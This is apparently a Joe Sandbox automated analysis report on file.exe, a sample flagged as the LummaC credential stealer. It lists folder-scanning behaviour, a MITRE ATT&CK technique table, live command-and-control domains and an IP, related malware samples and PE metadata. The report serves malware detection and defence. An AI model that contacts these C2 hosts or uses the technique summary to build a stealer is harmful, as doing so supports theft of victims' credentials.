Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2167473505.0000000000778000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2167089999.0000000000778000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2755327475.0000000000713000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3532, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 3532, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	34 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://necklacedmny.store/api	true	unknown
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiuM	file.exe, 00000000.00000003.2740534623.00000000054A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739219343.00000000054A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739990971.00000000054A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2738981751.00000000054A2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739448399.000000000549B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/CZ	file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/KZ	file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.s	file.exe, 00000000.00000003.2739749651.0000000000713000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2757342715.00000000055BB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/k	file.exe, 00000000.00000002.3054784312.0000000000784000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, file.exe, 00000000.00000003.3036775716.0000000000784000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3025441518.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739043514.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739563870.0000000000778000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3054784312.0000000000784000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739265639.0000000000778000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2755327475.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739043514.0000000000713000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiu	file.exe, 00000000.00000002.3054393760.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3053674176.0000000000713000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/3Z	file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2755327475.000000000076F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/sZ	file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2757342715.00000000055BB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.mozilla.or	file.exe, 00000000.00000003.2757212270.00000000054E2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/api	file.exe, 00000000.00000003.3053674176.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543748
Start date and time:	2024-10-28 11:21:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@5/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 3532 because there are no executed function
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:22:05	API Interceptor	1941369x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/876i/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.fnsds.org/
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	dddotx.shop/Mine/PWS/fre.php
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/nwtkd

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://duy38.r.ag.d.sendibm3.com/mk/cl/f/sh/1t6Af4OiGsF30wT9TF4ckLf3fAzx5z/28D7HenRXzOU	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://ipfs.io/ipfs/QmNRd2YnNadczqweR7UkjNBG3cvGj4th37n2oBP7ZKKPD8#test@kghm.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://startuppro.wethemez.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPVVXdzRVWEk9JnVpZD1VU0VSMjExMDIwMjRVNTIxMDIxNTI=N0123	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://alinefrasca.sbs/pktcr/	Get hash	malicious	HTMLPhisher	Browse	104.21.91.145
	https://kljhgfdertg7h8uihfgdew34e5rtyuhjiolkjhgfd.pages.dev/?zOTAyMn0.o1hC1xYbJolS=test@kghm.com&h0-bOY230w22zEQSk5Ti	Get hash	malicious	HTMLPhisher	Browse	104.22.26.101
	Lista produkt#U00f3w POL56583753Sarchmentdoc.bat	Get hash	malicious	Remcos, GuLoader	Browse	104.21.56.189
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	https://bitly.cx/NXacY	Get hash	malicious	GRQ Scam	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.22561.28030.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	162.159.137.232
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	NetCDF4Excel_3_3_setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	S6DgRF1SSD.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.573474688802272
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'930'688 bytes
MD5:	37781614f7d738bb78329c8b6349ddd7
SHA1:	6636f742d95163909c8ed115360de9423611f66c
SHA256:	472b3c9b56aa5162c58a02063d85d481dff501a4c5ae457dd340f3693fa8fcfd
SHA512:	4ee308177bd5c521f19ced142f4041becff16200108c807b33f8912a5f50bb6ca6ba099687bebe2f307331349dcad8a88a85a9101225df539aa1b39f536ac12e
SSDEEP:	49152:EM1yjqeXxJuYfGmbssgErmofQte+Esq+LwPxxNXj8:aqeXxJuYfjQ2rmofQte+hq+L+TXj8
TLSH:	0AD55B62B80971CBE49E1374443BCE86995D43F91F2829E7AC18E5BA7D73CC13AB5C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.........................../.......-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6fc000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEF0CF4482Ah
setbe byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FEF0CF46825h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	de34e3fda76b7325f79a960f3a0fc208	False	0.9979856485109718	data	7.96737253313202	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
